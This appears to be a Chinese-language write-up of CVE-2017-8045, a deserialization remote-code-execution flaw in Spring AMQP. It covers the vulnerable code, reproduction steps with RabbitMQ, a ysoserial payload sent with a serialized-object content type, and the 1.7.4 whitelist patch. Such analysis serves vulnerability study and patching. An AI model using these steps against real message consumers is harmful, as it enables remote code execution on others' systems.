Skip to content

Latest commit

 

History

History
146 lines (117 loc) · 6.3 KB

Spring AMQP远程代码执行漏洞(CVE-2017-8045)分析.md

File metadata and controls

146 lines (117 loc) · 6.3 KB

Spring AMQP远程代码执行漏洞(CVE-2017-8045)分析

最近国外研究人员先后爆出Spring Data REST远程代码执行漏洞(CVE-2017-8046)和Spring AMQP远程代码执行漏洞(CVE-2017-8045),CVE-2017-8046关注的人比较多,这里对CVE-2017-8045进行简单分析

漏洞原因

在Spring AMQP的Message类中,文件路径为spring-amqp/src/main/java/org/springframework/amqp/core/Message.java。getBodyContentAsString方法中将接收到的消息进行反序列化操作,从而导致任意代码执行。代码如下:

private String getBodyContentAsString() {
		if (this.body == null) {
			return null;
		}
		try {
			String contentType = (this.messageProperties != null) ? this.messageProperties.getContentType() : null;
			if (MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT.equals(contentType)) {
				return SerializationUtils.deserialize(this.body).toString();
			}
	......
	}

可以看到这里如果要触发漏洞,其中一个条件是要将请求的ContentType设置为application/x-java-serialized-object。

public static final String CONTENT_TYPE_SERIALIZED_OBJECT = "application/x-java-serialized-object";

代码分析

先分析存在漏洞的代码版本spring-amqp-1.7.3.RELEASE,整个项目代码中共有两处提供反序列化方法的类,分别是SerializerMessageConverter类和SerializationUtils类。

其中SerializerMessageConverter继承了WhiteListDeserializingMessageConverter类并实现了反序列化方法deserialize,代码如下:

private Object deserialize(ByteArrayInputStream inputStream) throws IOException {
		try {
			ObjectInputStream objectInputStream = new ConfigurableObjectInputStream(inputStream,
					this.defaultDeserializerClassLoader) {

				@Override
				protected Class<?> resolveClass(ObjectStreamClass classDesc)
						throws IOException, ClassNotFoundException {
					Class<?> clazz = super.resolveClass(classDesc);
					checkWhiteList(clazz);
					return clazz;
				}

			};
			return objectInputStream.readObject();
		}
		catch (ClassNotFoundException ex) {
			throw new NestedIOException("Failed to deserialize object type", ex);
		}
	}

上面代码可以看到在deserialize函数中hook了objectInputStream的resolveClass方法并调用WhiteListDeserializingMessageConverter类的checkWhiteList方法对反序列化的类进行白名单检查,如果反序列化的类不在白名单就抛出异常。WhiteListDeserializingMessageConverter类中同时实现了setWhiteListPatterns方法来设置反序列化的白名单。但在1.7.3版本中并未见到任何地方使用该函数进行白名单设置,所以这个白名单控制还是依赖使用到spring-amqp的开发人员自行设置,如果开发人员不设置依旧可能存在反序列化漏洞。

在SerializationUtils类的反序列化方法中则未进行任何安全校验:

public static Object deserialize(byte[] bytes) {
		if (bytes == null) {
			return null;
		}
		try {
			return deserialize(new ObjectInputStream(new ByteArrayInputStream(bytes)));
		}
	......
	public static Object deserialize(ObjectInputStream stream) {
		if (stream == null) {
			return null;
		}
		try {
			return stream.readObject();
		}
		......
	}

而本次漏洞触发点getBodyContentAsString函数中调用的正是SerializationUtils的deserialize方法。

漏洞利用

Message类中toString方法调用了getBodyContentAsString函数,而该漏洞发现者介绍,该方法在代码中许多错误处理及日志记录中会调用到并给出了相关demo。该程序只允许接收JSON格式消息,此时使用ysoserial生成payload,并将 Content-Type设置为application/x-java-serialized-object,然后发送消息,因为demo程序只允许接收json格式消息,所以会触发异常,从而调用并将消息带入toString函数触发漏洞执行任意代码。

可以使用spring-amqp-samples中的demo,将Application中container方法中添加:

listenerAdapter.setMessageConverter(new Jackson2JsonMessageConverter());

在测试用例中修改发送消息格式:

public void test() throws Exception {

        InputStream in = new FileInputStream("testfile");
        ByteArrayOutputStream bytestream = new ByteArrayOutputStream();

        int ch;
        while((ch = in.read()) != -1) {
            bytestream.write(ch);
        }

        byte[] data = bytestream.toByteArray();
        Message message = MessageBuilder.withBody(data)
                .setContentType(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)
                .setMessageId("8045")
                .setHeader("foo", "test")
                .build();

        rabbitTemplate.convertAndSend(Application.queueName, message);
        receiver.getLatch().await(10000, TimeUnit.MILLISECONDS);
    }

安装RabbitMQ,mac下安装使用命令即可:

brew install rabbitmq

运行RabbitMQ,并在浏览器打开localhost:15672看是否已运行,默认账号密码为guest。在resources目录创建application.properties文件,内容如下:

spring.rabbitmq.host=localhost
spring.rabbitmq.port=5672
spring.rabbitmq.username=guest
spring.rabbitmq.password=guest
spring.rabbitmq.virtualHost=

使用ysoserial生成payload文件,在pom依赖中添加commons-collections 3.1,接着调试运行即可进入到tosting函数,并弹出计算器:。 详细图

补丁分析

在修复版本以1.7.4为例,getBodyContentAsString中反序列化接口改为调用SerializerMessageConverter的fromMessage方法将AMQP消息转换为对象,并使用setWhiteListPatterns函数设置了允许被反序列化类的白名单,只允许反序列化java.util.*和java.lang.*开头的类:

static {
		SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
	}

详细见https://github.com/spring-projects/spring-amqp/commit/36e55998f6352ba3498be950ccab1d5f4d0ce655

参考